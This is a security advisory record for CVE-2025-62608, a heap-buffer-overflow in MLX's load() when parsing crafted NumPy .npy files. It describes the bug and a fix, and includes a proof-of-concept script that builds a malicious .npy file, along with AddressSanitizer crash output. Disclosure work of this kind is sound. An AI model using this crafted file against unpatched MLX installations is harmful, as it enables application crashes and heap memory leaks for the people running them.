{"id":"GHSA-w6vg-jg77-2qg6","summary":"MLX has heap-buffer-overflow in load()","details":"## Summary\n\nHeap buffer overflow in `mlx::core::load()` when parsing malicious NumPy `.npy` files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure.\n\nEnvironment:\n- OS: Ubuntu 20.04.6 LTS\n- Compiler: Clang 19.1.7\n\n## Vulnerability\n\nThe parser reads a 118-byte header from the file, but line 268 uses `std::string(&buffer[0])` which stops at the first null byte, creating a 20-byte string instead. Then line 276 tries to read `header[34]` without checking the length first, reading 13 bytes past the allocation.\n\n**Location**: `mlx/io/load.cpp:268,276`\n\n**Bug #1** (line 268):\n```cpp\nstd::string header(&buffer[0]);  // stops at first null byte\n```\n\n**Bug #2** (line 276):\n```cpp\nbool col_contiguous = header[34] == 'T';  // No bounds check\n```\n\n## Possible Fix\n\n```cpp\n// Line 268\nstd::string header(&buffer[0], header_len);\n\n// Line 276\nif (header.length() \u003c 35) throw std::runtime_error(\"Malformed header\");\n```\n\n## PoC\n\n```bash\npip install mlx\n\n# generate exploit\ncat \u003e exploit.py \u003c\u003c 'EOF'\nimport struct\nmagic = b'\\x93NUMPY'\nversion = b'\\x01\\x00'\nheader = b\"{'descr': '\u003cu2', 'fo\\x00\\x00\\x00\\x00n_order': False, 'shape': (3,), }\"\nheader += b' ' * (118 - len(header) - 1) + b'\\n'\nwith open('exploit.npy', 'wb') as f:\n    f.write(magic + version + struct.pack('\u003cH', 118) + header + b'\\x00\\x00\\x00\\x80\\xff\\xff')\nEOF\npython3 exploit.py\n\npython3 -c \"import mlx.core as mx; mx.load('exploit.npy')\"\n```\n\n**AddressSanitizer Output (with instrumented build)**:\n```\n=================================================================\n==3179==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000000152 at pc 0x563345697c29 bp 0x7ffeb8ad0a50 sp 0x7ffeb8ad0a48\nREAD of size 1 at 0x503000000152 thread T0\n    #0 0x563345697c28 in mlx::core::load(std::shared_ptr\u003cmlx::core::io::Reader\u003e, std::variant\u003cstd::monostate, mlx::core::Stream, mlx::core::Device\u003e) /home/user1/mlx/mlx/io/load.cpp:276:25\n    #1 0x563345698da1 in mlx::core::load(std::__cxx11::basic_string\u003cchar, std::char_traits\u003cchar\u003e, std::allocator\u003cchar\u003e\u003e, std::variant\u003cstd::monostate, mlx::core::Stream, mlx::core::Device\u003e) /home/user1/mlx/mlx/io/load.cpp:328:10\n    #2 0x563342f001bf in main /home/user1/mlx/fuzz/load/poc_crash.cpp:69:20\n    #3 0x7fbd4692c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #4 0x563342e1f1cd in _start (/home/user1/mlx/fuzz/load/poc_crash+0x9181cd) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099)\n\n0x503000000152 is located 13 bytes after 21-byte region [0x503000000130,0x503000000145)\nallocated by thread T0 here:\n    #0 0x563342efd66d in operator new(unsigned long) (/home/user1/mlx/fuzz/load/poc_crash+0x9f666d) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099)\n    #1 0x5633456956fe in void std::__cxx11::basic_string\u003cchar, std::char_traits\u003cchar\u003e, std::allocator\u003cchar\u003e\u003e::_M_construct\u003cchar const*\u003e(char const*, char const*, std::forward_iterator_tag) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.tcc:219:14\n    #2 0x5633456956fe in void std::__cxx11::basic_string\u003cchar, std::char_traits\u003cchar\u003e, std::allocator\u003cchar\u003e\u003e::_M_construct_aux\u003cchar const*\u003e(char const*, char const*, std::__false_type) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:251:11\n    #3 0x5633456956fe in void std::__cxx11::basic_string\u003cchar, std::char_traits\u003cchar\u003e, std::allocator\u003cchar\u003e\u003e::_M_construct\u003cchar const*\u003e(char const*, char const*) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:270:4\n    #4 0x5633456956fe in std::__cxx11::basic_string\u003cchar, std::char_traits\u003cchar\u003e, std::allocator\u003cchar\u003e\u003e::basic_string\u003cstd::allocator\u003cchar\u003e\u003e(char const*, std::allocator\u003cchar\u003e const&) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:531:9\n    #5 0x5633456956fe in mlx::core::load(std::shared_ptr\u003cmlx::core::io::Reader\u003e, std::variant\u003cstd::monostate, mlx::core::Stream, mlx::core::Device\u003e) /home/user1/mlx/mlx/io/load.cpp:268:15\n    #6 0x563345698da1 in mlx::core::load(std::__cxx11::basic_string\u003cchar, std::char_traits\u003cchar\u003e, std::allocator\u003cchar\u003e\u003e, std::variant\u003cstd::monostate, mlx::core::Stream, mlx::core::Device\u003e) /home/user1/mlx/mlx/io/load.cpp:328:10\n    #7 0x563342f001bf in main /home/user1/mlx/fuzz/load/poc_crash.cpp:69:20\n    #8 0x7fbd4692c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /home/user1/mlx/mlx/io/load.cpp:276:25 in mlx::core::load(std::shared_ptr\u003cmlx::core::io::Reader\u003e, std::variant\u003cstd::monostate, mlx::core::Stream, mlx::core::Device\u003e)\nShadow bytes around the buggy address:\n  0x502ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x502fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x502fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x503000000000: fa fa 00 00 04 fa fa fa 00 00 00 00 fa fa 00 00\n  0x503000000080: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa\n=\u003e0x503000000100: 00 00 00 fa fa fa 00 00 05 fa[fa]fa fa fa fa fa\n  0x503000000180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x503000000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x503000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x503000000300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x503000000380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07\n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n==3179==ABORTING\n```\n\n## Impact\n\n- **Attack vector**: Malicious `.npy` file (model weights, datasets, checkpoints)\n- **Affects**: MLX users on all platforms who call the vulnerable methods with unsanitized input.\n- **Result**: Application crash + potential 13-byte heap leak\n\n\n---\n\nCredits:\n- Markiyan Melnyk (ARIMLABS)\n- Mykyta Mudryi (ARIMLABS)\n- Markiyan Chaklosh (ARIMLABS)","aliases":["CVE-2025-62608","PYSEC-2025-138"],"modified":"2026-06-06T00:45:48.146084644Z","published":"2025-11-21T18:02:38Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2025-11-21T18:02:38Z","nvd_published_at":"2025-11-21T19:16:02Z","cwe_ids":["CWE-122"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/ml-explore/mlx/security/advisories/GHSA-w6vg-jg77-2qg6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-62608"},{"type":"WEB","url":"https://github.com/ml-explore/mlx/pull/1"},{"type":"WEB","url":"https://github.com/ml-explore/mlx/pull/2"},{"type":"PACKAGE","url":"https://github.com/ml-explore/mlx"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/mlx/PYSEC-2025-138.yaml"}],"affected":[{"package":{"name":"mlx","ecosystem":"PyPI","purl":"pkg:pypi/mlx"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.29.4"}]}],"versions":["0.0.10","0.0.11","0.0.2","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.9","0.1.0","0.10.0","0.11.1","0.12.2","0.13.0","0.13.1","0.14.1","0.15.2","0.16.3","0.17.3","0.18.1","0.19.3","0.2.0","0.20.0","0.21.1","0.22.1","0.23.2","0.24.2","0.25.2","0.26.1","0.26.2","0.26.3","0.26.5","0.27.1","0.28.0","0.29.0","0.29.1","0.29.2","0.29.3","0.3.0","0.4.0","0.5.1","0.6.0","0.7.0","0.8.1","0.9.1"],"database_specific":{"last_known_affected_version_range":"\u003c= 0.29.3","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/11/GHSA-w6vg-jg77-2qg6/GHSA-w6vg-jg77-2qg6.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:P"}]}